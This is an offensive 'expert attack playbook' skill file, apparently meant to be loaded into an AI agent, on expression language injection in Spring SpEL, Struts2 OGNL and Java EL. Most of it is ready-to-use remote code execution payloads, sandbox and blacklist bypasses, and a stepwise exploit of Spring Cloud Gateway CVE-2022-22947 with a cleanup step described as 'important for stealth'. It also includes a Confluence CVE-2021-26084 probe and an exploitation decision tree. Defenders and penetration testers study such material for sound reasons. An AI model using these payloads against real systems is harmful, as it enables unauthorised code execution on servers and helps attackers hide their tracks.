expression-language-injection

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SKILL: Expression Language Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains.

0. RELATED ROUTING

ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
jndi-injection when EL evaluation leads to JNDI lookup

Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.

1. DETECTION — POLYGLOT PROBES

text

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

Response to `${7*7}`	Response to `%{7*7}`	Engine
49	literal `%{7*7}`	SpEL or Java EL
literal `${7*7}`	49	OGNL (Struts2)
49	49	Both may be active

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

@Value("${...}") annotations
Spring Security expressions (@PreAuthorize)
Spring Cloud Gateway route predicates and filters
Thymeleaf th:text="${...}" (when combined with __${...}__ preprocessing)
Spring Data @Query with SpEL

RCE via Runtime.exec

java

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

java

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

java

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (alternative when Runtime is blocked)

java

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Exploit via actuator to add malicious route with SpEL filter:

bash

# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh

# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output

# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL Sandbox Bypass

When SimpleEvaluationContext is used (restricts T() operator):

java

// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

Apache Struts2 — primary OGNL consumer
Confluence Server — uses OGNL in certain request paths
Any Java app using ognl.Ognl.getValue() or ognl.Ognl.setValue()

Basic RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2 restricts OGNL via SecurityMemberAccess. Classic bypass clears restrictions:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil Blacklist Clear

Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames:

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Key Struts2 CVEs

CVE	Vector	Payload Location
S2-045 (CVE-2017-5638)	Content-Type header	`%{...}` in Content-Type
S2-046 (CVE-2017-5638)	Multipart filename	OGNL in upload filename
S2-016 (CVE-2013-2251)	`redirect:` / `redirectAction:` prefix	URL parameter
S2-048 (CVE-2017-9791)	Struts Showcase	ActionMessage with OGNL
S2-057 (CVE-2018-11776)	Namespace OGNL	URL path

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via the queryString or action parameters:

bash

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE

4. JAVA EL (JSP / JSF)

Where Java EL Appears

JSP pages: ${expression} and #{expression}
JSF (JavaServer Faces): value and method bindings
Custom tag libraries

RCE Payloads

java

// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}

// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}

// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

5. DETECTION METHODOLOGY

Input reflected and ${7*7} returns 49?
├── Java application?
│   ├── Struts2? → Try %{...} OGNL payloads
│   │   └── Check Content-Type injection (S2-045)
│   ├── Spring? → Try T(java.lang.Runtime) SpEL
│   │   └── Check /actuator/gateway (Spring Cloud Gateway)
│   ├── Confluence? → Try OGNL via action parameters
│   └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
    ├── OGNL: clear _memberAccess / excludedClasses
    ├── SpEL: reflection bypass for SimpleEvaluationContext
    └── Try alternative exec methods (ProcessBuilder, ScriptEngine)

6. QUICK REFERENCE

text

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh

SKILL: Expression Language Injection — Expert Attack Playbook

0. RELATED ROUTING

1. DETECTION — POLYGLOT PROBES

Disambiguation

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

RCE via Runtime.exec

RCE with Output Capture (Commons IO)

RCE with Output Capture (Spring StreamUtils)

ProcessBuilder (alternative when Runtime is blocked)

Spring Cloud Gateway — CVE-2022-22947

SpEL Sandbox Bypass

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

Basic RCE

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2 OgnlUtil Blacklist Clear

Key Struts2 CVEs

Confluence OGNL — CVE-2021-26084

4. JAVA EL (JSP / JSF)

Where Java EL Appears

RCE Payloads

5. DETECTION METHODOLOGY

6. QUICK REFERENCE

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